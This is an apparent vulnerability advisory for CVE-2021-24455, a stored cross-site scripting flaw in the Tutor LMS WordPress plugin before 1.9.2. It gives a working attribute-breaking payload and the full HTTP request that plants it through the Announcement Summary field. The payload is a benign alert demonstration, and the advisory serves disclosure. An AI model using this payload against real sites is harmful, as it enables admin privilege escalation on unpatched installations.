Tutor LMS < 1.9.2 – Authenticated Stored Cross-Site Scripting (XSS) | CVE 2021-24455

Description

The plugin did not escape the Summary field of Announcements (when outputting it in an attribute), which can be created by users as low as Tutor Instructor. This lead to a Stored Cross-Site Scripting issue, which is triggered when viewing the Announcements list, and could result in privilege escalation when viewed by an admin.

Proof of Concept

As a Tutor Instructor, Create an Announcement and put the following payload in the Summary field: " style="animation-name:rotation" onanimationstart="alert(/XSS/)//

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 341
Connection: close
Cookie: [Tutor Instructor+]

_tutor_nonce=52e764441f&tutor_announcement_course=973&tutor_announcement_title=Test+Inst+XSS&tutor_announcement_summary=%22+style%3D%22animation-name%3Arotation%22+onanimationstart%3D%22alert(%2FXSS%2F)%2F%2F&action=tutor_announcement_create&action_type=create